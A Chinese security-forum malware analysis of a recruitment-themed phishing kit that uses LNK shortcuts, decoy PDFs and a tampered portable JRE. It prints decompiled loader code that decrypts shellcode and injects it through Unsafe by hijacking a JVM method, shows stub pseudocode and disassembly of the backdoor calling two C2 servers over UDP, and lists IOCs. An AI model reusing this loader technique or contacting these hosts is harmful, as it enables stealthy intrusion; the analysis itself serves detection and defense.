吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 198|回复: 1
上一主题 下一主题
收起左侧

[PC样本分析] 以招聘为主题的多阶段定向钓鱼攻击套件分析

[复制链接]
跳转到指定楼层
楼主
INT3o 发表于 2026-10-1 18:32 回帖奖励
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!

以招聘为主题的多阶段定向钓鱼攻击套件分析

本样本来自吾爱破解论坛帖子 https://www.52pojie.cn/thread-2129524-1-1.html。

摘要

据贴主说明,来自两个不同的终端,从压缩包中也可以看出分别是两个不同的岗位招聘(C++和行政主管)。

攻击套件中10 个 LNK(目标 6 级相对路径 explorer.exe)+ 10 份招聘 JD 诱饵 PDF + 裁剪版 OpenJDK 8u492-b1。运行 LNK 即启动 cache/bin/javaw.exe,被篡改的 rt.jar 在 JVM 引导期用 ChaCha20 解密 currency.data,经 Unsafe + 344B stub 加载 21552B UDP 后门,回连 114.132.133.148 / 81.71.250.32 的 UDP 42356。

套件中未见持久化手法,同时从LNK元数据中的时间(2026-06-10 05:12:23 UTC)和两个回连C2的IP(均为腾讯云VPS)推断攻击方为护网攻击队。

1 基本信息

1.1 投递层组件

文件名 SHA256 大小 类型 工具链 加壳 编译/生成时间戳 角色
附件/{C++-南京,行政主管-南京}/*/2-.lnk、4-*.lnk(4 份) 9d5d75b11ac75d3fa471e3d9e7f176108cdf0d5ec72635bbeaf224e0191c2c45 1427 Windows Shell Link 自研/脚本化生成器 无 TrackerData MachineID=a1 执行器入口(参数 cache\bin\javaw.exe)
诱饵 LNK ×6(1/3/5 号,两套件) 53a3e550…1dacd2、29a4f3d4…b43cfa、c0450d57…08b6d6、a5073052…aa6e25、acefdf32…54bbb1、35e67a5c…ad5d61 1417/1421 Shell Link 同上 无 同上 诱导(参数 cache\<公司>.pdf)
诱饵 PDF ×7 唯一(10 份,4 份复用) 0b2c000e…defb0、a9199304…19a61、d98f167e…d3b2bb、ccceb1bd…ffdb35、97784860…003309、bb3d8a85…939cc5、673ab122…525125 92.3–195 KB PDF 1.3/1.7 Typora 1.8.10 / Electron 26.6.2 / Skia-PDF m116 无 2026-09-08、2026-08-25(两批) 社工诱饵(南京军工/电力/运营商招聘 JD)

1.2 载荷层组件(两套件同文件或仅 currency.data 不同)

文件名 SHA256 大小 类型 工具链 加壳 时间戳 角色
cache/bin/javaw.exe 197ea3f3af2261d07ddb5221b850f1784e3a01a1e0c09fc32e42e21d2339c4a2 209456 PE32+ x64 GUI,6 节区 Tencent 签名 OpenJDK windows-x86_64-normal-server-release 无(无 overlay/附加节区) 2026-04-25 15:21:41 UTC 签名启动器(未改动)
cache/jre/lib/rt.jar e8ef3b6420b1102f03f7eecf07341e50e7cb59b8c988cfc5e8cba5dec9a0063d 684715 Java 归档(314 类) 裁剪版 JDK 8 — 313 条=2026-07-18 21:42:12;RefAccess.class=1980-01-01(DOS 0) 注入载体
└ java/lang/RefAccess.class 841aa24169d842147b89ce0a44482bc792fa82d09db3bb377033e71a2ae248c6 5195 Java 字节码 javac 8 — DOS 0 注入类 / stage-1 loader
cache/jre/lib/currency.data(研发岗) 01a0de1622b545306d3c21c2df3055c93009dfda2b57881feb41dbf150ae8424 21564 ChaCha20 密文(熵 7.9908) — ChaCha20 nonce 78e3c5aafe5261c4aa4404d6 stage-2 容器(伪 JDK 数据文件)
cache/jre/lib/currency.data(行政主管) 6d814dd3bdc46532559bf9aa945229241581a2ebc643ed28c1e2afbdfbf95e85 21564 同上 — ChaCha20 nonce 97348c129b2b7795802dce41 同上(另一 C2)
解密后 stage-2(研发 / 行政) 68beaa7831ae75f59ca2f1783b13b2032b4536881f9618e7ba03a47dd419ef0f / 1ac9e56e1b89493cddb8fe196914c514f6c59d3e42886d06d52b79b5d15ce251 21552 x86-64 位置无关 shellcode(无 MZ/PE 头) 手写汇编/MSVC 无 — 后门本体
cache/jre/bin/server/jvm.dll d8211ace9a440f9b5b374bae51055ad9125a368adf1e38546ea4ca3bca2c17a1 9301552 PE32+ DLL 自建 OpenJDK 8u492-b1 HotSpot — — JVM
cache/jre/bin/java.dll 7a3c8f78bf7ed3103f7fc13c3e472caa3754381b4d279da84aa014d3671b97f8 163880 PE32+ DLL 原版(308 导出,无 Java_java_lang_RefAccess_*) — — JVM 装载
cache/bin/jli.dll 7f9b31f39cd64b12baac2ed72b5ff9ccc6306c4be8f05b28fcc123483bb44680 181800 PE32+ DLL 原版 11 个 JLI_* 导出 — — 启动器参数解析
cache/jre/bin/verify.dll df735c9661f6db8883a85637f64661c5664ee4dd30b20911df4c0b129992e25c 53800 PE32+ DLL 原版 4 个校验导出 — — 字节码校验器
cache/jre/bin/zip.dll fbd6e548a4fef1844da935d264bcf47f4c3da2cceef7f962c71abb38ae9cc061 86576 PE32+ DLL 原版 — — zip/jar 支持
cache/jre/bin/msvcr100.dll 9e52923426001c3db7955b35abd0f020c6722ff352855bb1c5fba1b7a11476e8 838552 PE32+ DLL Microsoft VC++2010 运行库(已签名) — — 依赖(无害)
cache/jre/lib/amd64/jvm.cfg 91e6531363501d02f9abc6522d440891b096313a6e45aa3d18fdd923da0561b0 14 文本 内容 -server KNOWN — — JVM 配置

1.3 定性与家族归属

  • 非公开 C2 框架复用:载荷无 Beacon/CobaltStrike 特征(无 named pipe、无 sleep-mask、无 Malleable Profile 痕迹),无 Sliver/ValleyRAT 指纹;为自研「Java 侧无文件加载器 + 原生 UDP 后门」组合。
  • 攻击组织画像:诱饵主题与两套件命名(C++-南京 / 行政主管-南京)对应中电科 14 所、中电科 28 所、中船 724 所、南瑞继保、国电南瑞(南京军工/电力)、中国移动江苏、国家电网、苏宁易购、途牛旅游,按技术岗与行政岗分档投放两套 C2,属人工指挥的定向活动而非广撒网僵尸网络投放。
  • 手法层面的关联性:携带自建并裁剪的 OpenJDK、篡改 rt.jar 引导类、把载荷伪装为 JDK 标准文件 lib/currency.data,这种「便携运行时 + 引导类注入」组合在近年针对国内重点行业的 Java 加载器样本中出现过同类 TTP(推测,依据为本样本与公开报告在手法的重合,未发现代码级复用证据)。

2 感染链全景

逐步说明(动作 + 技术机制):

  1. 投递:压缩包经邮件/IM 附件下发,解压后为 附件/<岗位>-南京/<岗位>-南京/ 目录树,内含拟真招聘 JD 与同名 LNK,社会工程上「岗位」与「单位」一一对应(如 2-中电科28所.lnk)。
  2. 诱饵与执行分离:10 个 LNK 共用同一模板——LinkFlags=0x41E9(含 ForceNoLinkInfo、IsUnicode、HasArguments),不写 LinkInfo、不写 WorkingDir;奇数号 LNK 参数为 cache\<公司>.pdf(打开诱饵),偶数号参数为 cache\bin\javaw.exe(静默执行)。4 份执行型 LNK 字节完全相同(9d5d75b1…c45),本体不含公司名,说明是通用模板套壳命名。
  3. 目标选择为「参数解释器」:LNK 目标为 6 级相对路径 ..\..\..\..\..\..\Windows\explorer.exe(IDList 内解析为 C:\Windows\explorer.exe)。使用相对路径使诱饵包可解压到任意目录直接可用,且借 explorer.exe(系统签名程序)拆包并以自身工作目录解析参数路径,规避白名单/签名与「可疑父进程」检测。
  4. 启动器:javaw.exe(GUI 子系统、Tencent Technology (Shenzhen) 签名、DigiCert G4 链,Authenticode 摘要与当前字节复算一致 1de0fb22…)被原样复用,负责拉起自带 cache/jre(jvm.cfg = -server KNOWN)。
  5. 引导期注入:JNI_CreateJavaVM → LoadMainClass 阶段触发 sun/misc/Launcher 静态初始化 → new Launcher() → <init> 第 4 字节处 invokestatic java/lang/RefAccess.verify()。即在应用 main class 加载/初始化之前执行,LNK 无需传入有效 Java 主类。
  6. 解密投放:verify() 拼装 java.home + /lib/currency.data(字符串现场解码),整体读入;前 12 字节作 ChaCha20 nonce,其余为密文;解密得 21552B 位置无关代码,用 sun.misc.Unsafe.allocateMemory/putByte 直接写入进程原生内存。
  7. 原生执行:常量池 688 个 hex 字符解出 344B stub;Unsafe.putLong 把载荷地址/长度回填到 stub 内两个占位魔数,stub 被复制到页对齐 +0x20000 的 scratch 区,并 putAddress 改写 JVM 内部指针槽 p2+80。stub 以 PEB 遍历 + ror13 手工解析 kernel32.dll/VirtualAlloc,VirtualAlloc(NULL,len,0x3000,0x40)(RWX)后 memcpy 并直接 call。
  8. 失联取证阻力:verify() 结尾 Runtime.getRuntime().halt(0) 立即终结 JVM,不留宿主进程;stub 不返回。
  9. 回连:stage-2 以非阻塞 UDP 连接 C2,按 RC4 + CRC32 + 随机填充协议上行主机指纹,等待指令。

3 LNK伪装

对LNK的字段解析详见附件lnk_structure_decode.txt。

以C++-南京为例,1 3 5指向正常招聘PDF,2 4指向cache中的javaw.exe触发感染链。(另外5个LNK同样为 2 4触发感染链)。

右键属性就可以看到这些LNK的指向了,正常LNK指向:

异常LNK以相对路径指向cache文件夹下的cache/bin/javaw.exe:

同时值得注意的是,攻击者为了看起来真实,故意让指向感染链的LNK其对应的PDF损坏无法打开。即中电科28所/国电南瑞/国家电网/苏宁易购 这4份诱饵复用损坏的 PDF(尾部含 smali 残留)。

4 java侧感染

两个攻击套件的感染链结构完全相同,均为如下结构,为一个精简的java运行时目录。

├───bin
│       javaw.exe
│       jli.dll
└───jre
    ├───bin
    │   │   java.dll
    │   │   msvcr100.dll
    │   │   verify.dll
    │   │   zip.dll
    │   └───server
    │           jvm.dll
    └───lib
        │   currency.data
        │   rt.jar
        └───amd64
                jvm.cfg

在前面我们看到LNK双击后会启动javaw.exe,然后javaw.exe会加载jli.dll,并调用JLI_Launch()函数,JLI_Launch() 会按顺序执行以下关键操作:

  1. 解析命令行参数:识别 -cp、-jar、主类名等。
  2. 定位 JRE 路径:根据 javaw.exe 自身的位置,向上回溯找到 JRE 根目录。
  3. 读取 JVM 配置:定位并解析 ./jre/lib/amd64/jvm.cfg 文件。
  4. 确定并加载 JVM 实现:根据 jvm.cfg 的指示,找到 server 目录下的 jvm.dll,并通过 LoadLibrary 将其加载到内存中。(本案例中jvm.cfg的内容为 -server KNOWN,这表示 Server VM(位于 ./jre/bin/server/jvm.dll)是可用的。)

jvm.dll 是 HotSpot JVM 的核心动态链接库。加载后,jli.dll 会调用其导出的 JNI_CreateJavaVM 函数,正式创建 Java 虚拟机。JVM 初始化过程中会进行几项关键工作:

  • 建立内存模型:划分堆、栈、方法区等。
  • 创建引导类加载器(Bootstrap ClassLoader):这是 Java 类加载体系的根加载器,由 C++ 实现。
  • 加载核心类库:引导类加载器会从 ./jre/lib/rt.jar 中加载 java.lang.*、java.util.* 等最基础的类。rt.jar 是 Java 运行时类库,包含了 JVM 运行所必需的所有基础类。

而此处rt.jar中的java/lang/RefAccess被篡改,在引导期便会自动执行invokestatic java/lang/RefAccess.verify()。

5 Stage-1 RefAccess.verify()核心入口

使用jadx反编译rt.jar并找到java/lang/RefAccess即可看到如下内容,这里只截取verify片段:

public static void verify() {
    try {
        // 读取并解密 currency.data
        // 1. 通过 _str 解密得到 "java.home" 和 "/lib/currency.data",拼接成完整路径
        // 2. 读取该文件全部内容
        byte[] bArr_readAll = _readAll(new File(System.getProperty(_str(S_JH)) + _str(S_CD)));

        // 提取文件前 12 字节作为 ChaCha20 的 nonce
        byte[] bArr = new byte[12];
        System.arraycopy(bArr_readAll, 0, bArr, 0, 12);

        // 从第 12 字节开始,用 ChaCha20 解密剩余数据,得到 native 载荷(stage-2)
        // 密钥为硬编码 seed,计数器从 1 开始,nonce 为文件头 12 字节
        byte[] bArr_stream = _stream(bArr_readAll, 12, bArr_readAll.length - 12, bArr);
        int length = bArr_stream.length;

        // 使用 Unsafe 在堆外分配一块内存,用于存放解密后的载荷
        long jAllocateMemory = unsafe.allocateMemory(length);
        if (jAllocateMemory == 0) {
            return; // 分配失败则直接返回
        }

        // 将解密后的载荷逐字节写入刚分配的堆外内存
        for (int i = 0; i < length; i++) {
            unsafe.putByte(jAllocateMemory + ((long) i), bArr_stream[i]);
        }

        // 将十六进制字符串 blob 解码为字节数组,得到 344 字节的 shellcode stub
        byte[] bArr_decode = _decode(blob);

        // 获取字节数组元素在内存中的基址偏移(用于通过 Unsafe 直接操作数组内容)
        long jArrayBaseOffset = unsafe.arrayBaseOffset(byte[].class);

        // 在 stub 中查找两个 8 字节占位符 m1 和 m2 的位置
        // m1 用于回填载荷地址,m2 用于回填载荷长度
        int i_locate = _locate(bArr_decode, m1);
        int i_locate2 = _locate(bArr_decode, m2);
        if (i_locate < 0 || i_locate2 < 0) {
            return; // 未找到占位符则退出
        }

        // 将载荷的堆外内存地址写入 stub 的 m1 位置
        unsafe.putLong(bArr_decode, jArrayBaseOffset + ((long) i_locate), jAllocateMemory);
        // 将载荷长度写入 stub 的 m2 位置
        unsafe.putLong(bArr_decode, jArrayBaseOffset + ((long) i_locate2), length);

        // ---------- 以下为劫持 JVM 内部方法入口的关键步骤 ----------
        // 常量说明:
        //   a1 = 72   : RefAccess.class 对象内偏移,获取 InstanceKlass 指针
        //   a2 = 392  : InstanceKlass 内偏移,获取方法数组或常量池
        //   a3 = 64   : Method 对象内偏移,获取代码入口或解释器入口
        //   a4 = 80   : Method 对象内偏移,覆盖方法入口点
        //   a5 = 131072 (0x20000) : 页对齐后的偏移,定位可写可执行区域

        // 通过 RefAccess.class 对象获取其 InstanceKlass 指针(偏移 a1)
        // 再从 InstanceKlass 中获取方法数组或常量池(偏移 a2)
        // 然后层层解引用,最终定位到目标方法(很可能是 _notify)的 Method 对象
        // 表达式:unsafe.getLong(RefAccess.class, a1) 得到 InstanceKlass*
        //        + a2 得到某个结构指针
        //        unsafe.getAddress(...) 得到 Method*
        //        + 8 + 24 调整到 Method 内部某个字段,最终得到方法入口地址
        long address = unsafe.getAddress(unsafe.getAddress(unsafe.getLong(RefAccess.class, a1) + a2) + 8 + 24);

        // 将方法入口地址按页对齐(4096 字节),然后加上 a5 = 0x20000 偏移
        // 得到一块可写可执行的内存区域(通常位于 JVM 代码缓存或堆附近)
        long address2 = ((unsafe.getAddress(address + a3) / 4096) * 4096) + a5;

        // 将 shellcode stub 逐字节写入该可写可执行区域
        for (int i2 = 0; i2 < bArr_decode.length; i2++) {
            unsafe.putByte(address2 + ((long) i2), bArr_decode[i2]);
        }

        // 用 Unsafe 直接修改 Method 对象的入口点(偏移 a4 = 80),使其指向 shellcode stub
        // 这样当 _notify() 被调用时,JVM 会跳转到 shellcode 执行
        unsafe.putAddress(address + a4, address2);

        // 触发被劫持的方法,实际执行 shellcode
        _notify();
    } catch (Throwable th) {
        // 静默捕获所有异常,避免留下痕迹
    }
    // 强制终止 JVM,不执行 shutdown hook,减少日志和清理
    Runtime.getRuntime().halt(0);
}

即:它读取自带的 currency.data,以前 12 字节为 nonce、硬编码 seed 为密钥,用 ChaCha20 解密出约 21KB 的 native 载荷,再通过 Unsafe.allocateMemory 在堆外分配内存并写入;随后解码十六进制 blob 得到 344 字节 shellcode stub,回填载荷地址与长度,并利用硬编码偏移和 Unsafe 直接改写 JVM 内部方法入口,使其指向 stub,最后调用 _notify() 触发执行并 halt(0) 强制终止 JVM;整个过程静默捕获异常、载荷不落地,完成了从 Java 层到 native 层的隐蔽过渡。

6 Stage-2 currency.data载荷

两台终端中除LNK诱饵不同之外,另外一个不同点就是该载荷中的C2 IP(均为UDP,端口均为42356).

6.1 入口

解密载荷入口 start()(0x180001000)先 sub rsp,0x8000 再调 beacon_main_c2_client(0x180003540,11969B)。main 开头:

STACK[0x3FB0] = 0x2E3233312E343131LL;   // "114.132."   <- C2 IP 前半(逐 kit 不同)
STACK[0x3FB8] = 0x3834312E333331LL;     // "133.148\0"  <- C2 IP 后半
STACK[0x3F90] = 0x3130336131663831LL;   // "18f1a301"   <- 配置 ID(两 kit 相同)
STACK[0x3F98] = 0x6562313932333434LL;   // "443291be"

全部字符串由 mov reg, imm64 立即数在栈上拼装(全载荷仅 101 条 imm64 构成字符串,无明文串表);API 解析链:NtCurrentPeb() → Ldr->InLoadOrderModuleList 第 2 个模块(ntdll)→ 手工导出表匹配 LdrGetProcedureAddress → 解析 LdrLoadDll/NtCreateSection/NtMapViewOfSection/NtUnmapViewOfSection/NtClose,再 LdrLoadDll(kernel32) 取 LoadLibraryA/GetProcAddress 后按需解析 ws2_32/advapi32/user32 能力。未解析任何进程创建/注入 API(无 CreateProcess/CreateThread/WriteProcessMemory/WinExec);节流由 GetTickCount + select 超时实现(上限 0xEA60=60000ms)。

6.2 stub 反混淆

Ldr = NtCurrentPeb()->Ldr;                          // gs:[0x60] -> PEB->Ldr
Flink = Ldr->InMemoryOrderModuleList.Flink;         // InMemoryOrder 模块链
while ( Flink ) {
    v3 = Flink - 1;                                 // -0x10 => LDR_DATA_TABLE_ENTRY 基址
    v4 = Flink[5].Flink;                            // entry+0x60 = BaseDllName.Buffer
    v5 = LOWORD(v3[5].Blink) >> 1;                  // entry+0x58 = BaseDllName.Length(字符数)
    for ( i = 0; v5; --v5 ) {                       // ror13,A-Z 先转小写
        LODWORD(Ldr) = LOBYTE(v4->Flink);
        if ( Ldr >= 0x41 && Ldr <= 0x5A ) LOBYTE(Ldr) += 32;
        i = (_DWORD)Ldr + __ROR4__(i, 13);          // h = ror13(h) + c
        v4 = (struct _LIST_ENTRY *)((char *)v4 + 2);
    }
    if ( __ROR4__(i, 13) == -1308852378 ) {         // 末尾再 ror13 -> 0xB1FC7F66 = kernel32.dll
        v2 = v3[3].Flink; break;                    // DllBase = entry+0x30
    }
    Flink = Flink->Flink;
}
...                                                 // +e_lfanew -> PE 头; +0x88 = Export RVA (PE32+)
if ( v16 == 1386515838 ) { ... }                    // 0x52A48D7E = VirtualAlloc
LABEL_23:
    v18 = qword_180001148[0]; v19 = qword_180001148[1];   // 参数块 [0]=载荷地址 [1]=载荷长度
    Ldr = (void *)v17(0, v19, 12288, 64);           // VirtualAlloc(NULL,len,0x3000,0x40=RWX)
    for ( k = 0; k < v19; ++k )
        *((_BYTE *)&Ldr->Length + k) = *(_BYTE *)(v18 + k);   // 拷贝解密载荷
    LOBYTE(Ldr) = ((__int64 (*)(void))Ldr)();              // 直接 call 载荷(不返回)

哈希算法经 IDA 确证为 h=0; for c: h = ror13(h)+c; 末尾再 ror13(h)(模块名先转小写),复算 kernel32.dll → 0xB1FC7F66、VirtualAlloc → 0x52A48D7E 与二进制常量完全一致;参数块位于 blob 偏移 0x148/0x150(VA 0x180001148/0x180001150)。

6.3 网络通信协议

项 值
C2-1 114.132.133.148:42356/udp
C2-2 81.71.250.32:42356/udp
传输层 UDP,非阻塞(ioctlsocket(FIONBIO=0x8004667E))+ select 超时轮询
端口来源 mov ecx,0A574h → htons → sockaddr_in.sin_port,无明文端口串
地址填充 inet_pton(AF_INET, ip, &sin_addr),IP 拆成两段 mov reg,imm64 立即数
套接字创建 socket(AF_INET=2, SOCK_DGRAM=2, IPPROTO_UDP=17),getaddrinfo hints 同参数
会话密钥/标识 18f1a301443291be(两套件一致;RC4 密钥指针取自上下文 [ctx+0xF8])

UDP 装配与发送(IDA 反汇编实际输出):

0x180005EA5  call    [rsp+38h+arg_3E80]     ; WSAStartup(0x202, &wsaData)
0x180005EC3  rep stosb                        ; memset(sockaddr_in,0,16)
0x180005ECA  mov     word ptr [sockaddr], 2   ; AF_INET
0x180005ED4  mov     ecx, 0A574h              ; ===> 端口 42356
0x180005ED9  call    [rsp+38h+arg_3EB8]       ; htons(0xA574)
0x180005EE0  mov     [sockaddr+2], ax         ; sin_port
0x180005EE8  lea     rdx, [rsp+38h+arg_3F68]  ; C2 IP 字符串
0x180005EF0  lea     r8,  [sockaddr+4]        ; &sin_addr
0x180005EF8  mov     ecx, 2                   ; AF_INET
0x180005EFD  call    [rsp+38h+arg_3F40]       ; inet_pton(AF_INET, ip, &sin_addr)
0x180005F3A  mov     [hints+12], 11h          ; ai_protocol = IPPROTO_UDP

报文结构(依据 0x180001518 / 0x180005281 还原):

+-----------+--------------------------------+-------------------+----------+
| 4B 帧头   | RC4(明文体)                     | 随机填充 16-128B   | CRC32    |
+-----------+--------------------------------+-------------------+----------+
     帧头语义未确证      RC4 KSA+PRGA(0x180001422)   rand()%0x71+16    poly 0xEDB88320
  • 接收路径 0x180005281 recvfrom → 长度 ≤4 丢弃 → 0x1800052A0 RC4 解密 → sub_1800021BE 命令分发;发送路径 0x18000164D RC4 后经 [ctx+0x150] 发出;packet_crc32_add_random_pad(0x180001518) 负责追加随机填充并计算 CRC32。
  • 随机源为上下文函数指针槽 [ctx+0xF0]+320(对应已解析的 SystemFunction036/RtlGenRandom)。

首包上报 JSON(键为栈上立即数拼装确认,值为运行期填充):

{"machine_id":"<HKLM\\SOFTWARE\\Microsoft\\Cryptography\\MachineGuid>","ip_address":"","hostname":"","desktop_info":"","display_info":"","pad":""}
字段 取值来源
machine_id RegOpenKeyExA/RegQueryValueExA 读 HKLM\\SOFTWARE\\Microsoft\\Cryptography\\MachineGuid(缺失回填 unknown-machine-id)
hostname GetComputerNameW / gethostname(缺失回填 unknown-host)
display_info EnumDisplayDevicesA
desktop_info GetEnvironmentVariableW(USERPROFILE) + FindFirstFileW/FindNextFileW/FindClose 枚举 Desktop\\*
ip_address 字段存在,取值来源未逐条确认(推测为本机地址/gethostname 结果)
pad 每次随机填充(rand,16–128B)

6.4 C2指令集实现

这不是一个全功能 RAT,而是极小的 stager/加载器:服务端→客户端只有 2 条有效指令("s":1 终止、"s":2 内存加载执行下一阶段),无文件/进程/键盘/截屏/隧道类指令。可大致判定其采用KCP(https://github.com/skywind3000/kcp)

KCP 常量/结构 证据
cmd 语义 0x51=PUSH(*(_BYTE *)(v25 + 4) = 81)、0x52=ACK(LOBYTE(v46[1]) = 82)、0x53=WASK、0x54=WINS
24 字节头 kcp_encode_hdr24 逐字段 conv/cmd/frg/wnd/ts/sn/una/len@+48 拷贝
RTO 公式 srtt/rttvar 以 3*x + y)>>2、y + x*8)>>3 加权,上限 60000
参数 mtu 1200、mss 1176、sndwnd/rcvwnd 128、nodelay 1、interval 10、resend 2、nc 1
队列 4 个队列(kcp_q_init ×4,位于 STACK[0x798/0x7A8/0x7B8/0x7C8])= snd_queue / rcv_queue / snd_buf / rcv_buf
分片标志 段结构 +5 = frg,kcp_peeksize 用 frg 与队列长度判定是否可整条读出

内存中的段结构(56 B,kcp_seg_alloc56)与线路头不同:+0 conv, +4 cmd, +5 frg, +6 wnd, +8 ts, +12 sn, +16 una, +24 rto, +32 fastack, +40 data, +48 len。采用公开的 KCP 可靠 UDP 协议(或其等价重实现),在上面叠了自定义的 RC4 + 随机填充 + CRC32 + JSON 应用层。

如下为其具体实现的应用层命令:

命令值 编码/判别方式 判别位置 handler / 动作 入参格式与约束 返回/回包
"s":1 明文 JSON,3 字节序列 "s"(0x22 0x73 0x22) + 跳过 :(0x3A)/空格 + 1 位 ASCII 数字,值域仅 0–9(v4-48) 提取 0x180002149;比较 0x180003540 第 1133–1141 行与第 1254–1258 行 终止:kcp_reset_queues(0x180001387) → closesocket(slot 0x3EF8) → WSACleanup(slot 0x3ED0) → return(线程/载荷结束,无落地文件) 只需该字段;无附加参数。"d" 存在也忽略 无回包(进程断链退出)
"s":2 同上 同上;随后在同一缓冲内再搜 "d"(0x22 0x64 0x22),跳过 :/空格后要求下一个字符是 ",取引号内字符串 内存加载并执行下一阶段:Base64 解码 "d" → VirtualAlloc(0, len, 12288(0x3000), 64(0x40) RWX) → memcpy → call → VirtualFree(ptr,0,0x8000)。执行前:释放重组缓冲、kcp_reset_queues、closesocket(v183)、WSACleanup() "d":"<Base64>"。长度约束:Base64 长度必须能被 4 整除((len-1)&3 != 0 直接放弃);解码后缓冲 v157 = 3*(n/4),并按尾部 = 个数减 1(1 或 2 个 padding),即标准 Base64。解码前先做字符表校验,出现非法字符即刻放弃 无回包(先断链再执行,下一阶段的通信自行建立)
"s":0 同上 同上 无动作:仅释放缓冲,会话继续(0x180003540 第 1132–1147 行的 v175==0 分支落入保活循环) — 无
"s":3–"s":9 同上(可被解析出数字) 同上 未实现:v145 != 1 && v145 != 2 → 释放缓冲并走"无消息"重试路径(0x180003540 第 1260–1264 行) — 无
字段缺失/畸形 json_extract_field_int 返回 0xFFFFFFFF 0x180002149 第 31 行 视同无命令(重试) — 无

6.5 报文格式、加密与分片

端到端封装(发送路径实际调用链)
flowchart LR
  A["应用层 JSON<br/>(侦察 / 保活 / 命令)"] --> B["rc4_crypt_alloc<br/>key = 18f1a301443291be"]
  B --> C["KCP 拆分<br/>mss 1176, frg 分片"]
  C --> D["kcp_flush_build_datagram<br/>拼 24B 头 + 段数据"]
  D --> E["packet_crc32_add_random_pad<br/>追加随机 16–128B + CRC32 0xEDB88320"]
  E --> F["udp_recv_kcp_pump / sendto<br/>整包再 RC4 一次"]
  F --> G["UDP 42356"]
层 细节
应用层 JSON 文本;agent 侧无"命令执行结果"回包机制
RC4(应用层) rc4_crypt_alloc(0x1800017CA)KSA+PRGA,密钥取 strlen(a5) 长度,a5 = &STACK[0x3F90] = 字符串 18f1a301443291be
RC4(数据报层) 收:rc4_crypt_sbox_prga(&buf, len, STACK[0x828]);STACK[0x828] 在 0x180004B58 被赋为 &STACK[0x3F90],即同一密钥
KCP 24B 头:+0 conv(必须==ctx[0]) +4 cmd +5 frg +6 wnd +8 ts +12 sn +16 una +20 len;cmd 语义 0x51PUSH(数据)/0x52ACK/0x53WASK/0x54WINS;参数 mtu 1200 / mss 1176 / sndwnd 128 / rcvwnd 128 / nodelay 1 / interval 10ms / resend 2 / nc 1
trailer pad = random32 % 0x71 + 16(16–128 B),随后 CRC32(poly 0xEDB88320)
长度前缀 数据报前 4 字节为大端长度(*v35=BYTE3(len) … v35[3]=len),该 4 字节同样参与 RC4
分片与重组
  • 分片:KCP 段级 —— kcp_flush_build_datagram 在一个数据报内连续拼 [24B 头][段数据],当 v11 + 23 >= *(ctx+4)(缓冲上限)时调用 packet_crc32_add_random_pad 打 trailer 并发出;应用报文超过 mss(1176) 时由 KCP frg 字段拆分并逐段携带 sn。
  • 重组:接收端 udp_recv_kcp_pump(0x1800029E0,槽 (a1+344) = recvfrom,槽 (a1+368) = 数据可读判定 select)→ 4 字节头丢弃 → RC4 → kcp_input_ack_rtt_process → kcp_move_rcvbuf_to_queue(0x1800016EF) 按 sn 排序移入接收队列 → kcp_recv_app_msg(0x180001B8A,用 +5 分片标志与 kcp_peeksize 0x180001696 合并同一条应用报文)→ 得到完整 JSON。
  • 收到 trailer 的行为:接收端未显式校验 CRC32;KCP 解析在 trailer 处因 conv 与 ctx[0] 不匹配而终止(0x1800021BE 第 106 行的 conv 校验分支)→ 随机填充同时起到流量特征扰动作用。
  • 可靠性:由 KCP 承担(ACK 0x52 回收未确认表 ctx+136/ctx+144、una 批量回收、RTT/RTO 估计、重传);应用层没有自己的应答/结果报文。

6.6 状态机、时序与会话前置条件

阶段 行为
前置 必须先发侦察报文(无 "s"/"t" 字段,6 字段);服务端命令只能在此之后到达
等待 select(0,{sock},0,0,10000ms) 最多 10 s;收到后进入收包循环;两者超时窗口受 rand_sleep_5_12s(5000 + rand%7001)约束
保活 若"距上次活动 ≥ 5–12 s 仍无下行",发送 {"t":2,"machine_id":"…","pad":"<随机16–128字母>"}
会话上限 now - session_start > 0x1D4BF (120000 ms) → kcp_reset_queues → Sleep(rand%30001 + 30000)(30–60 s)→ 回到外层循环重新建链并重新上报侦察报文
KCP 更新节流 距上次 update > 9 ms 才调用 kcp_flush_build_datagram;KCP 定时器 interval = 10 ms
RTO 首次 7000 ms;未收到 ACK 时 x1.5 增长,上限 120000 ms;最小值 10500 ms

因此判别顺序为:没有握手/认证包(无用户名/密钥交换步骤),conv(*(dword*)a1)本身就是唯一会话标识,且由客户端随机生成后写入首个 KCP 段;服务端命令在任何已建立的 KCP 会话中均可下发。

7 总结

攻击者通过密码保护的压缩包投递包含LNK快捷方式、诱饵PDF和裁剪版OpenJDK运行时的目录,利用LNK相对路径与explorer.exe启动便携JRE,并篡改rt.jar中的java.lang.RefAccess类,使其在JVM引导期自动执行。verify()函数读取伪装成currency.data的ChaCha20密文,解密出约21KB的native载荷,再通过Unsafe在堆外分配内存、回填344字节shellcode stub,并劫持JVM内部方法入口,完成从Java层到native层的无文件加载。最终载荷以UDP协议回连腾讯云VPS(114.132.133.148/81.71.250.32:42356),上报主机指纹并等待指令。该套件按技术岗与行政岗分档投放两套C2,未见持久化手法,手法隐蔽且规避性强,推测为护网攻击队所发起的定向活动。防御重点应聚焦于异常LNK、便携JRE、篡改rt.jar、Unsafe滥用以及特定UDP流量。

8 IOCs

8.1 文件哈希

类型 值 性质 说明
SHA-256 9d5d75b11ac75d3fa471e3d9e7f176108cdf0d5ec72635bbeaf224e0191c2c45 入口执行器 LNK 执行模板(4 份复用)
SHA-256 53a3e5502404f15cd5f03c3258c1c02e0bdbe20bf3851b563b0168a8511dacd2 诱饵 1-中电科14所.lnk
SHA-256 29a4f3d450800a71040df5421c1af6ac9b93670c68798f306b5becf3cbb43cfa 诱饵 3-南瑞继保.lnk
SHA-256 c0450d57915495e61731eb42af77836acf24bd1aa4db37887593282d4c08b6d6 诱饵 5-中船724所.lnk
SHA-256 a5073052b04763ef57c4c1ad9f5c4b4ff60af33fb28f3472973e7c218faa6e25 诱饵 1-中国移动.lnk
SHA-256 acefdf3209557af94f9de567f206a0174cb4582ce87cf6a4f171ac70d154bbb1 诱饵 3-中电科十四所.lnk
SHA-256 35e67a5cc3360efeb174d71c74fa6c67e3f0ed633f86a507aea7b39b4bad5d61 诱饵 5-途牛旅游.lnk
